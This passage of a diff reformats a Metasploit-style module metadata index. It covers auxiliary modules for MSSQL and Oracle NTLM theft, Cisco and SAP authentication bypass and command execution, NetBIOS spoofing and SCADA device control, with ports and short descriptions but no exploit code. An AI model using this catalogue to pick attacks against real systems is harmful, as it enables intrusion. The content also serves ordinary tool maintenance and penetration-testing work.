+ "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/mssql/mssql_ntlm_stealer_sqli": { "name": "Microsoft SQL Server SQLi NTLM Stealer", "fullname": "auxiliary/admin/mssql/mssql_ntlm_stealer_sqli", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -7978,20 +7143,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/mssql/mssql_sql": { "name": "Microsoft SQL Server Generic Query", "fullname": "auxiliary/admin/mssql/mssql_sql", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -8028,22 +7188,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "mssql" ], "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/mssql/mssql_sql_file": { "name": "Microsoft SQL Server Generic Query from File", "fullname": "auxiliary/admin/mssql/mssql_sql_file", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -8051,9 +7206,7 @@ "j0hn__f : " ], "description": "This module will allow for multiple SQL queries contained within a specified\n file to be executed against a Microsoft SQL (MSSQL) Server instance, given\n the appropriate credentials.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 1433, @@ -8079,22 +7232,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "mssql" ], "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/mysql/mysql_enum": { "name": "MySQL Enumeration Module", "fullname": "auxiliary/admin/mysql/mysql_enum", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -8108,12 +7256,8 @@ "platform": "", "arch": "", "rport": 3306, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-03-28 10:34:38 +0000", "path": "/modules/auxiliary/admin/mysql/mysql_enum.rb", @@ -8122,22 +7266,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "mysql" ], "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/mysql/mysql_sql": { "name": "MySQL SQL Generic Query", "fullname": "auxiliary/admin/mysql/mysql_sql", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -8145,18 +7284,12 @@ "Bernardo Damele A. G. " ], "description": "This module allows for simple SQL statements to be executed\n against a MySQL instance given the appropriate credentials.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 3306, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-02-14 15:26:34 +0000", "path": "/modules/auxiliary/admin/mysql/mysql_sql.rb", @@ -8165,22 +7298,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "mysql" ], "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/natpmp/natpmp_map": { "name": "NAT-PMP Port Mapper", "fullname": "auxiliary/admin/natpmp/natpmp_map", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -8188,18 +7316,12 @@ "Jon Hart " ], "description": "Map (forward) TCP and UDP ports on NAT devices using NAT-PMP", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 5351, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-01-07 15:02:53 +0000", "path": "/modules/auxiliary/admin/natpmp/natpmp_map.rb", @@ -8208,20 +7330,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/netbios/netbios_spoof": { "name": "NetBIOS Response Brute Force Spoof (Direct)", "fullname": "auxiliary/admin/netbios/netbios_spoof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -8231,18 +7348,12 @@ "tombkeeper" ], "description": "This module continuously spams NetBIOS responses to a target for given hostname,\n causing the target to cache a malicious address for this name. On high-speed local\n networks, the PPSRATE value should be increased to speed up this attack. As an\n example, a value of around 30,000 is almost 100% successful when spoofing a\n response for a 'WPAD' lookup. Distant targets may require more time and lower\n rates for a successful attack.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 137, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-01-07 15:02:53 +0000", "path": "/modules/auxiliary/admin/netbios/netbios_spoof.rb", @@ -8251,20 +7362,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/networking/arista_config": { "name": "Arista Configuration Importer", "fullname": "auxiliary/admin/networking/arista_config", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -8272,18 +7378,12 @@ "h00die" ], "description": "This module imports an Arista device configuration.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 22, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2023-02-03 18:12:53 +0000", "path": "/modules/auxiliary/admin/networking/arista_config.rb", @@ -8293,21 +7393,13 @@ "post_auth": false, "default_credential": false, "notes": { - "Stability": [ - - ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Stability": [], + "Reliability": [], + "SideEffects": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/networking/brocade_config": { "name": "Brocade Configuration Importer", @@ -8322,18 +7414,12 @@ "h00die" ], "description": "This module imports a Brocade device configuration.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 22, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-09-22 02:56:51 +0000", "path": "/modules/auxiliary/admin/networking/brocade_config.rb", @@ -8342,13 +7428,10 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/networking/cisco_asa_extrabacon": { "name": "Cisco ASA Authentication Bypass (EXTRABACON)", @@ -8378,12 +7461,8 @@ "platform": "", "arch": "", "rport": 161, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2021-08-27 17:15:33 +0000", "path": "/modules/auxiliary/admin/networking/cisco_asa_extrabacon.rb", @@ -8423,18 +7502,12 @@ "h00die" ], "description": "This module imports a Cisco IOS or NXOS device configuration.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 22, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-09-22 02:56:51 +0000", "path": "/modules/auxiliary/admin/networking/cisco_config.rb", @@ -8443,20 +7516,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/networking/cisco_dcnm_auth_bypass": { "name": "Cisco DCNM auth bypass", "fullname": "auxiliary/admin/networking/cisco_dcnm_auth_bypass", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2020-06-01", "type": "auxiliary", @@ -8509,9 +7577,7 @@ }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/networking/cisco_dcnm_download": { "name": "Cisco Data Center Network Manager Unauthenticated File Download", @@ -8560,13 +7626,10 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/networking/cisco_secure_acs_bypass": { "name": "Cisco Secure ACS Unauthorized Password Change", @@ -8612,13 +7675,10 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/networking/cisco_vpn_3000_ftp_bypass": { "name": "Cisco VPN Concentrator 3000 FTP Unauthorized Administrative Access", @@ -8642,12 +7702,8 @@ "platform": "", "arch": "", "rport": 21, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-07-24 16:42:43 +0000", "path": "/modules/auxiliary/admin/networking/cisco_vpn_3000_ftp_bypass.rb", @@ -8660,9 +7716,7 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], + "Reliability": [], "SideEffects": [ "ioc-in-logs", "artifacts-on-disk" @@ -8670,16 +7724,12 @@ }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/networking/f5_config": { "name": "F5 Configuration Importer", "fullname": "auxiliary/admin/networking/f5_config", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -8687,18 +7737,12 @@ "h00die" ], "description": "This module imports an F5 device configuration.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 22, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2023-02-03 18:12:53 +0000", "path": "/modules/auxiliary/admin/networking/f5_config.rb", @@ -8708,21 +7752,13 @@ "post_auth": false, "default_credential": false, "notes": { - "Stability": [ - - ], - "SideEffects": [ - - ], - "Reliability": [ - - ] + "Stability": [], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/networking/juniper_config": { "name": "Juniper Configuration Importer", @@ -8737,18 +7773,12 @@ "h00die" ], "description": "This module imports a Juniper ScreenOS or JunOS device configuration.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 22, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2023-02-03 18:12:53 +0000", "path": "/modules/auxiliary/admin/networking/juniper_config.rb", @@ -8758,15 +7788,9 @@ "post_auth": false, "default_credential": false, "notes": { - "Stability": [ - - ], - "SideEffects": [ - - ], - "Reliability": [ - - ] + "Stability": [], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, @@ -8784,9 +7808,7 @@ "auxiliary_admin/networking/mikrotik_config": { "name": "Mikrotik Configuration Importer", "fullname": "auxiliary/admin/networking/mikrotik_config", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -8794,18 +7816,12 @@ "h00die" ], "description": "This module imports a Mikrotik device configuration.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 22, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2023-02-03 18:12:53 +0000", "path": "/modules/auxiliary/admin/networking/mikrotik_config.rb", @@ -8815,15 +7831,9 @@ "post_auth": false, "default_credential": false, "notes": { - "Stability": [ - - ], - "SideEffects": [ - - ], - "Reliability": [ - - ] + "Stability": [], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, @@ -8851,18 +7861,12 @@ "h00die" ], "description": "This module imports an Ubiquiti device configuration.\n The db file within the .unf backup is the data file for\n Unifi. This module can take either the db file or .unf.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 22, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-03-23 11:32:45 +0000", "path": "/modules/auxiliary/admin/networking/ubiquiti_config.rb", @@ -8875,25 +7879,17 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/networking/vyos_config": { "name": "VyOS Configuration Importer", "fullname": "auxiliary/admin/networking/vyos_config", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -8901,18 +7897,12 @@ "h00die" ], "description": "This module imports a VyOS device configuration.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 22, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2023-02-03 18:12:53 +0000", "path": "/modules/auxiliary/admin/networking/vyos_config.rb", @@ -8928,22 +7918,16 @@ "SideEffects": [ "ioc-in-logs" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/officescan/tmlisten_traversal": { "name": "TrendMicro OfficeScanNT Listener Traversal Arbitrary File Access", "fullname": "auxiliary/admin/officescan/tmlisten_traversal", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -8984,20 +7968,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/oracle/ora_ntlm_stealer": { "name": "Oracle SMB Relay Code Execution", "fullname": "auxiliary/admin/oracle/ora_ntlm_stealer", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2009-04-07", "type": "auxiliary", @@ -9011,12 +7990,8 @@ "platform": "", "arch": "", "rport": 1521, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-10-02 17:38:06 +0000", "path": "/modules/auxiliary/admin/oracle/ora_ntlm_stealer.rb", @@ -9025,20 +8000,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/oracle/oracle_index_privesc": { "name": "Oracle DB Privilege Escalation via Function-Based Index", "fullname": "auxiliary/admin/oracle/oracle_index_privesc", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2015-01-21", "type": "auxiliary", @@ -9053,12 +8023,8 @@ "platform": "", "arch": "", "rport": 1521, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-10-02 17:38:06 +0000", "path": "/modules/auxiliary/admin/oracle/oracle_index_privesc.rb", @@ -9067,20 +8033,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/oracle/oracle_login": { "name": "Oracle Account Discovery", "fullname": "auxiliary/admin/oracle/oracle_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2008-11-20", "type": "auxiliary", @@ -9095,12 +8056,8 @@ "platform": "", "arch": "", "rport": 1521, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-10-02 17:38:06 +0000", "path": "/modules/auxiliary/admin/oracle/oracle_login.rb", @@ -9109,20 +8066,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/oracle/oracle_sql": { "name": "Oracle SQL Generic Query", "fullname": "auxiliary/admin/oracle/oracle_sql", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2007-12-07", "type": "auxiliary", @@ -9131,39 +8083,30 @@ ], "description": "This module allows for simple SQL statements to be executed\n against an Oracle instance given the appropriate credentials\n and sid.", "references": [ - "URL-https://www.metasploit.com/users/mc" + "URL-http://web.archive.org/web/20110322124810/http://www.metasploit.com:80/users/mc/" ], "platform": "", "arch": "", "rport": 1521, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/auxiliary/admin/oracle/oracle_sql.rb", "is_install_path": true, "ref_name": "admin/oracle/oracle_sql", "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/oracle/oraenum": { "name": "Oracle Database Enumeration", "fullname": "auxiliary/admin/oracle/oraenum", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -9171,18 +8114,12 @@ "Carlos Perez " ], "description": "This module provides a simple way to scan an Oracle database server\n for configuration parameters that may be useful during a penetration\n test. Valid database credentials must be provided for this module to\n run.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 1521, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-01-07 15:02:53 +0000", "path": "/modules/auxiliary/admin/oracle/oraenum.rb", @@ -9191,20 +8128,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/oracle/osb_execqr": { "name": "Oracle Secure Backup exec_qr() Command Injection Vulnerability", "fullname": "auxiliary/admin/oracle/osb_execqr", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2009-01-14", "type": "auxiliary", @@ -9244,20 +8176,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/oracle/osb_execqr2": { "name": "Oracle Secure Backup Authentication Bypass/Command Injection Vulnerability", "fullname": "auxiliary/admin/oracle/osb_execqr2", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2009-08-18", "type": "auxiliary", @@ -9299,20 +8226,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/oracle/osb_execqr3": { "name": "Oracle Secure Backup Authentication Bypass/Command Injection Vulnerability", "fullname": "auxiliary/admin/oracle/osb_execqr3", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2010-07-13", "type": "auxiliary", @@ -9351,20 +8273,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/oracle/post_exploitation/win32exec": { "name": "Oracle Java execCommand (Win32)", "fullname": "auxiliary/admin/oracle/post_exploitation/win32exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2007-12-07", "type": "auxiliary", @@ -9373,39 +8290,30 @@ ], "description": "This module will create a java class which enables the execution of OS commands.", "references": [ - "URL-https://www.metasploit.com/users/mc" + "URL-http://web.archive.org/web/20110322124810/http://www.metasploit.com:80/users/mc/" ], "platform": "", "arch": "", "rport": 1521, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/auxiliary/admin/oracle/post_exploitation/win32exec.rb", "is_install_path": true, "ref_name": "admin/oracle/post_exploitation/win32exec", "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/oracle/post_exploitation/win32upload": { "name": "Oracle URL Download", "fullname": "auxiliary/admin/oracle/post_exploitation/win32upload", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2005-02-10", "type": "auxiliary", @@ -9419,12 +8327,8 @@ "platform": "", "arch": "", "rport": 1521, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-10-02 17:38:06 +0000", "path": "/modules/auxiliary/admin/oracle/post_exploitation/win32upload.rb", @@ -9433,20 +8337,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/oracle/sid_brute": { "name": "Oracle TNS Listener SID Brute Forcer", "fullname": "auxiliary/admin/oracle/sid_brute", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2009-01-07", "type": "auxiliary", @@ -9455,40 +8354,31 @@ ], "description": "This module simply attempts to discover the protected SID.", "references": [ - "URL-https://www.metasploit.com/users/mc", + "URL-http://web.archive.org/web/20110322124810/http://www.metasploit.com:80/users/mc/", "URL-http://www.red-database-security.com/scripts/sid.txt" ], "platform": "", "arch": "", "rport": 1521, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/auxiliary/admin/oracle/sid_brute.rb", "is_install_path": true, "ref_name": "admin/oracle/sid_brute", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/oracle/tnscmd": { "name": "Oracle TNS Listener Command Issuer", "fullname": "auxiliary/admin/oracle/tnscmd", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2009-02-01", "type": "auxiliary", @@ -9496,18 +8386,12 @@ "MC " ], "description": "This module allows for the sending of arbitrary TNS commands in order\n to gather information.\n Inspired from tnscmd.pl from www.jammed.com/~jwa/hacks/security/tnscmd/tnscmd", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 1521, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-10-02 17:38:06 +0000", "path": "/modules/auxiliary/admin/oracle/tnscmd.rb", @@ -9516,20 +8400,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/pop2/uw_fileretrieval": { "name": "UoW pop2d Remote File Retrieval Vulnerability", "fullname": "auxiliary/admin/pop2/uw_fileretrieval", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2000-07-14", "type": "auxiliary", @@ -9544,12 +8423,8 @@ "platform": "", "arch": "", "rport": 109, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-10-02 17:38:06 +0000", "path": "/modules/auxiliary/admin/pop2/uw_fileretrieval.rb", @@ -9558,20 +8433,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/postgres/postgres_readfile": { "name": "PostgreSQL Server Generic Query", "fullname": "auxiliary/admin/postgres/postgres_readfile", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -9579,9 +8449,7 @@ "todb " ], "description": "This module imports a file local on the PostgreSQL Server into a\n temporary table, reads it, and then drops the temporary table.\n It requires PostgreSQL credentials with table CREATE privileges\n as well as read privileges to the target file.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 5432, @@ -9599,22 +8467,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "postgresql" ], "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/postgres/postgres_sql": { "name": "PostgreSQL Server Generic Query", "fullname": "auxiliary/admin/postgres/postgres_sql", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -9642,22 +8505,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "postgresql" ], "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/registry_security_descriptor": { "name": "Windows Registry Security Descriptor Utility", "fullname": "auxiliary/admin/registry_security_descriptor", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -9665,9 +8523,7 @@ "Christophe De La Fuente" ], "description": "Read or write a Windows registry security descriptor remotely.\n\n In READ mode, the `FILE` option can be set to specify where the\n security descriptor should be written to.\n\n The following format is used:\n ```\n key: \n security_info: \n sd: \n ```\n\n In WRITE mode, the `FILE` option can be used to specify the information\n needed to write the security descriptor to the remote registry. The file must\n follow the same format as described above.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 445, @@ -9691,9 +8547,7 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], + "Reliability": [], "SideEffects": [ "config-changes" ] @@ -9716,9 +8570,7 @@ "auxiliary_admin/sap/cve_2020_6207_solman_rce": { "name": "SAP Solution Manager remote unauthorized OS commands execution", "fullname": "auxiliary/admin/sap/cve_2020_6207_solman_rce", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2020-10-03", "type": "auxiliary", @@ -9768,9 +8620,7 @@ "config-changes", "ioc-in-logs" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": false, "needs_cleanup": false, @@ -9796,9 +8646,7 @@ "auxiliary_admin/sap/cve_2020_6287_ws_add_user": { "name": "SAP Unauthenticated WebService User Creation", "fullname": "auxiliary/admin/sap/cve_2020_6287_ws_add_user", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2020-07-14", "type": "auxiliary", @@ -9851,9 +8699,7 @@ "config-changes", "ioc-in-logs" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": false, "needs_cleanup": false, @@ -9871,9 +8717,7 @@ "auxiliary_admin/sap/sap_configservlet_exec_noauth": { "name": "SAP ConfigServlet OS Command Execution", "fullname": "auxiliary/admin/sap/sap_configservlet_exec_noauth", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-11-01", "type": "auxiliary", @@ -9913,20 +8757,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/sap/sap_igs_xmlchart_xxe": { "name": "SAP Internet Graphics Server (IGS) XMLCHART XXE", "fullname": "auxiliary/admin/sap/sap_igs_xmlchart_xxe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2018-03-14", "type": "auxiliary", @@ -9973,9 +8812,7 @@ "SideEffects": [ "ioc-in-logs" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": false, "needs_cleanup": false, @@ -9993,9 +8830,7 @@ "auxiliary_admin/sap/sap_mgmt_con_osexec": { "name": "SAP Management Console OSExecute", "fullname": "auxiliary/admin/sap/sap_mgmt_con_osexec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -10033,20 +8868,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/scada/advantech_webaccess_dbvisitor_sqli": { "name": "Advantech WebAccess DBVisitor.dll ChartThemeConfig SQL Injection", "fullname": "auxiliary/admin/scada/advantech_webaccess_dbvisitor_sqli", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-04-08", "type": "auxiliary", @@ -10088,20 +8918,15 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/scada/ge_proficy_substitute_traversal": { "name": "GE Proficy Cimplicity WebView substitute.bcl Directory Traversal", "fullname": "auxiliary/admin/scada/ge_proficy_substitute_traversal", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-01-22", "type": "auxiliary", @@ -10119,12 +8944,8 @@ "platform": "", "arch": "", "rport": 80, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-10-02 17:38:06 +0000", "path": "/modules/auxiliary/admin/scada/ge_proficy_substitute_traversal.rb", @@ -10133,20 +8954,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/scada/modicon_command": { "name": "Schneider Modicon Remote START/STOP Command", "fullname": "auxiliary/admin/scada/modicon_command", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-04-05", "type": "auxiliary", 